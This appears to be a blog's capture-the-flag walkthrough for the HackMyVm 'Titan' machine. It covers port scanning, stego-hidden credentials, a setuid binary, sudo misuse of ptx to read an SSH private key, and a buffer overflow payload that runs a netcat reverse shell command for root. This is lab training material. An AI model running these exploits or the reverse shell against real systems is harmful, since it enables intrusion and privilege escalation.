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一切生活中的杂七杂八, and I like CTF.

HackMyVm Titan Walkthrough

HackMyVm Titan Walkthrough

https://hackmyvm.eu/machines/machine.php?vm=Titan

Scan ports first.

 nmap -sV -sC -p- -oN ports.log 192.168.56.100
 Nmap scan report for chronos.local (192.168.56.100)
 Host is up (0.00098s latency).
 Not shown: 65533 closed ports
 PORT   STATE SERVICE VERSION
 22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
 | ssh-hostkey:
 |   2048 37:fa:d2:9f:20:25:cf:c5:96:7a:dc:f3:ff:2c:7a:22 (RSA)
 |   256 11:ad:fa:95:71:c5:f9:d4:97:da:42:03:2b:0f:55:bb (ECDSA)
 |_  256 fa:fb:04:13:93:90:a5:01:53:ba:6c:e9:bf:dc:bf:7e (ED25519)
 80/tcp open  http    nginx 1.14.2
 |_http-server-header: nginx/1.14.2
 |_http-title: Site doesn't have a title (text/html).
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Scan port 80. found /robots.txt, then download athena.txt.

 ~ curl http://192.168.56.100/robots.txt
 gobuster-0 | 0 [14:29:34]
 /athena.txt
 
 ~ wget http://192.168.56.100/athena.txt


Use vim to open athena.txt, found some strange spaces and tabs.

image-20210829143154657.png


Through google "space tab steg", we know it's some crypto strings. And we can decrypt it with stegsnow. Then we get username and password of prometheus.

 ~ sudo apt install stegsnow
 stegsnow is already the newest version (20130616-6).
 ~ stegsnow -C athena.txt
 prometheus/iloveallhumans⏎


Log in ssh as prometheus, found a file named sacrifice in home folder.

 prometheus@titan:~$ ls -la
 total 52
 drwxr-xr-x 2 prometheus prometheus  4096 Aug 18 06:03 .
 drwxr-xr-x 5 root       root        4096 Aug  9 14:23 ..
 -rw------- 1 prometheus prometheus  2718 Aug 18 05:01 .bash_history
 -rw-r--r-- 1 prometheus prometheus   220 Aug  9 14:23 .bash_logout
 -rw-r--r-- 1 prometheus prometheus  3526 Aug  9 14:23 .bashrc
 -rw-r--r-- 1 prometheus prometheus   807 Aug  9 14:23 .profile
 -rwsr-sr-x 1 root       prometheus 16896 Aug  9 14:29 sacrifice
 -rw------- 1 prometheus prometheus   102 Aug 18 05:51 .Xauthority


Disassemble sacrifice, we can know, if we input "beef", we can escalate to user with uid 1000 (0x03E8).

 int __cdecl main(int argc, const char **argv, const char **envp)
 {
   char s1[72]; // [rsp+10h] [rbp-50h] BYREF
   int v6; // [rsp+5Ch] [rbp-4h]
 
   v6 = 1000;
   printf("What is your offer to the gods?");
   gets(s1);
   if ( strcmp(s1, "beef") )
   {
     printf("Thanks, mortal.");
   }
   else
   {
     setuid(0x3E8u);
     setgid(0x3E8u);
     printf("Take this gift.");
     system("/bin/bash");
   }
   return 0;
 }


Now we can escalate to user zeus.

 prometheus@titan:~$ ./sacrifice 
 What is your offer to the gods?beef
 zeus@titan:~$ id
 uid=1000(zeus) gid=1001(prometheus) groups=1001(prometheus)


Check sudo -l.

 zeus@titan:~$ sudo -l
 Matching Defaults entries for zeus on titan:
     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
 User zeus may run the following commands on titan:
     (hesiod) NOPASSWD: /usr/bin/ptx


Check help manual of ptx, then we can use ptx to read /home/hesiod/.ssh/id_rsa.

 zeus@titan:/home/zeus$ sudo -u hesiod ptx /home/hesiod/.ssh/id_rsa -A -G
 .xx "PRIVATE/" "" "-----BEGIN OPENSSH" "" "/home/hesiod/.ssh/id_rsa:1"
 .xx "PRIVATE/" "" "-----END OPENSSH" "" "/home/hesiod/.ssh/id_rsa:27"
 .xx "" "" "/JT+LbNag1ZqqNu02YET846I1xppdx/gYK5/hW19Shrw0F+V+G2U0AaVxfgFb+B2Sz+QER" "" "/home/hesiod/.ssh/id_rsa:16"
 ...
 .xx "" "" "xUBZ868cu5Flrby84V8UpiXE+tPyq5bZUw24nlJTURFzqy0LkAcAtKQVihXaaoAlOJvz7z" "" "/home/hesiod/.ssh/id_rsa:22"
 .xx "" "" "xqQSsiROLKN/zVEXAAAADGhlc2lvZEB0aXRhbgECAwQFBg==" "" "/home/hesiod/.ssh/id_rsa:26"
 


Paste line by line in order into a new key file, chmod 600, then we can login as hesiod with private key.

 ~ ssh hesiod@192.168.56.100 -i id_rsa                                                                   ...
 Last login: Wed Aug 18 05:51:27 2021 from 192.168.56.150
 hesiod@titan:~$ id
 uid=1002(hesiod) gid=1002(hesiod) groups=1002(hesiod)
 hesiod@titan:~$


In /home/hesiod, we found a file named fire. It's writable.

 hesiod@titan:~$ ls -la
 total 56
 drwxr-xr-x 4 hesiod hesiod  4096 Aug 18 02:11 .
 drwxr-xr-x 5 root   root    4096 Aug  9 14:23 ..
 -rw------- 1 hesiod hesiod  1265 Aug 18 01:51 .bash_history
 -rw-r--r-- 1 hesiod hesiod   220 Aug  9 14:23 .bash_logout
 -rw-r--r-- 1 hesiod hesiod  3526 Aug  9 14:23 .bashrc
 -rwxr-x--- 1 hesiod hesiod 16608 Aug  9 14:27 fire
 drwxr-xr-x 3 hesiod hesiod  4096 Aug  9 14:25 .local
 -rw-r--r-- 1 hesiod hesiod   807 Aug  9 14:23 .profile
 drwx------ 2 hesiod hesiod  4096 Aug  9 14:31 .ssh
 -rw------- 1 hesiod hesiod   102 Aug 18 02:11 .Xauthority


Now here is the key point to root.

Go back to sacrifice, in disassembler, just scroll up a little, we can found a secret function named "thief".

 .text:0000000000001185                 public thief
 .text:0000000000001185 thief           proc near
 .text:0000000000001185 ; __unwind {
 .text:0000000000001185                 push    rbp
 .text:0000000000001186                 mov     rbp, rsp
 .text:0000000000001189                 mov     edi, 0          ; uid
 .text:000000000000118E                 call    _setuid
 .text:0000000000001193                 mov     edi, 0          ; gid
 .text:0000000000001198                 call    _setgid
 .text:000000000000119D                 lea     rdi, command    ; "/home/hesiod/fire"
 .text:00000000000011A4                 call    _system
 .text:00000000000011A9                 nop
 .text:00000000000011AA                 pop     rbp
 .text:00000000000011AB                 retn
 .text:00000000000011AB ; } // starts at 1185
 .text:00000000000011AB thief           endp
 .text:00000000000011AB
 .text:00000000000011AC
 .text:00000000000011AC ; =============== S U B R O U T I N E =======================================
 .text:00000000000011AC
 .text:00000000000011AC ; Attributes: bp-based frame
 .text:00000000000011AC
 .text:00000000000011AC ; int __cdecl main(int argc, const char **argv, const char **envp)
 .text:00000000000011AC                 public main
 .text:00000000000011AC main            proc near               ; DATA XREF: _start+1D↑o
 .text:00000000000011AC
 .text:00000000000011AC var_60          = qword ptr -60h
 .text:00000000000011AC var_54          = dword ptr -54h
 .text:00000000000011AC s1              = byte ptr -50h
 .text:00000000000011AC var_8           = dword ptr -8
 .text:00000000000011AC var_4           = dword ptr -4
 .text:00000000000011AC
 .text:00000000000011AC ; __unwind {
 .text:00000000000011AC                 push    rbp
 .text:00000000000011AD                 mov     rbp, rsp
 .text:00000000000011B0                 sub     rsp, 60h
 .text:00000000000011B4                 mov     [rbp+var_54], edi
 .text:00000000000011B7                 mov     [rbp+var_60], rsi


Through reading the source code, we get the final method:

We need to overflow sacrifice, then run secret function "thief", "thief" then calls /home/hesiod/fire, and write shellcode in fire to get root.

To successfully pwn sacrifice, first step is to calcute the offset of overflow point. Download sacrificeto local machine, and use gdb-peda to load it.

Create pattern string with length 200.

 gdb-peda$ pattern create 200
 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'


Input 'r' to let program run, when ask for input answer, paste the above pattern string.

 gdb-peda$ r
 Starting program: /home/kali/Documents/titan/sacrifice
 What is your offer to the gods?AAA%AAsA...


Then we will get Segmentation fault, because return address is illegal.

 Program received signal SIGSEGV, Segmentation fault.
 [----------------------------------registers-----------------------------------]
 ...
 RSP: 0x7fffffffe4e8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
 RIP: 0x55555555524a (<main+158>:        ret)
 ...
 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
 [-------------------------------------code-------------------------------------]
    0x55555555523f <main+147>:   call   0x555555555040 <printf@plt>
    0x555555555244 <main+152>:   mov    eax,0x0
    0x555555555249 <main+157>:   leave  
 => 0x55555555524a <main+158>:   ret    
    0x55555555524b:      nop    DWORD PTR [rax+rax*1+0x0]
    0x555555555250 <__libc_csu_init>:    push   r15
    0x555555555252 <__libc_csu_init+2>:  mov    r15,rdx
    0x555555555255 <__libc_csu_init+5>:  push   r14
 [------------------------------------stack-------------------------------------]
 0000| 0x7fffffffe4e8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
 0008| 0x7fffffffe4f0 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
 ...
 [------------------------------------------------------------------------------]
 Legend: code, data, rodata, value
 Stopped reason: SIGSEGV
 0x000055555555524a in main ()


Use "patter search" to get the offset is 88 for [RSP]. And [RSP] points to the original return address, which we want to overflow with our own return address.

 gdb-peda$ pattern search
 Registers contain pattern buffer:
 RBP+0 found at offset: 80
 Registers point to pattern buffer:
 [RSP] --> offset 88 - size ~112
 [R8] --> offset 0 - size ~212
 ...


The method is, we need to fill 87 chars, then following the address of secret function "thief", which is 0x555555555185. (Maybe not the same on your machine).

 gdb-peda$ disassemble 0x555555555185
 Dump of assembler code for function thief:
    0x0000555555555185 <+0>:     push   rbp
    0x0000555555555186 <+1>:     mov    rbp,rsp
    0x0000555555555189 <+4>:     mov    edi,0x0
    0x000055555555518e <+9>:     call   0x555555555080 <setuid@plt>
    0x0000555555555193 <+14>:    mov    edi,0x0
    0x0000555555555198 <+19>:    call   0x555555555070 <setgid@plt>
    0x000055555555519d <+24>:    lea    rdi,[rip+0xe64]        # 0x555555556008
    0x00005555555551a4 <+31>:    call   0x555555555030 <system@plt>
    0x00005555555551a9 <+36>:    nop
    0x00005555555551aa <+37>:    pop    rbp
    0x00005555555551ab <+38>:    ret    
 End of assembler dump.


Because intel machine is little-Endian, so the 64bit address of 0x555555555185 should be "\x85\x51\x55\x55\x55\x55\x00\x00" in python string format.

We write reverse shell code in /home/hesiod/fire as user hesiod, remember to add +x in order to let prometheus has execute permission.

 hesiod@titan:~$ echo 'nc 192.168.56.150 1234 -e /bin/bash' > fire
 hesiod@titan:~$ chmod +x fire
 hesiod@titan:~$ ls -la fire
 -rwxr-x--x 1 hesiod hesiod 36 Aug 18 06:05 fire


Then back to user prometheus, use python to generate the evil string and pwn sacrifice.

 prometheus@titan:~$ python3 -c 'print("a"*87+"\x85\x51\x55\x55\x55\x55\x00\x00")' |./sacrifice 
 ────────────────────────────────────────────────────────────────────────────────────────────────
 ~ nc -nlvp 1234  
 Ncat: Version 7.91 ( https://nmap.org/ncat )
 Ncat: Listening on :::1234
 Ncat: Listening on 0.0.0.0:1234
 Ncat: Connection from 192.168.56.100.
 Ncat: Connection from 192.168.56.100:47256.
 id
 uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
 cd /root
 id;hostname
 uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
 titan


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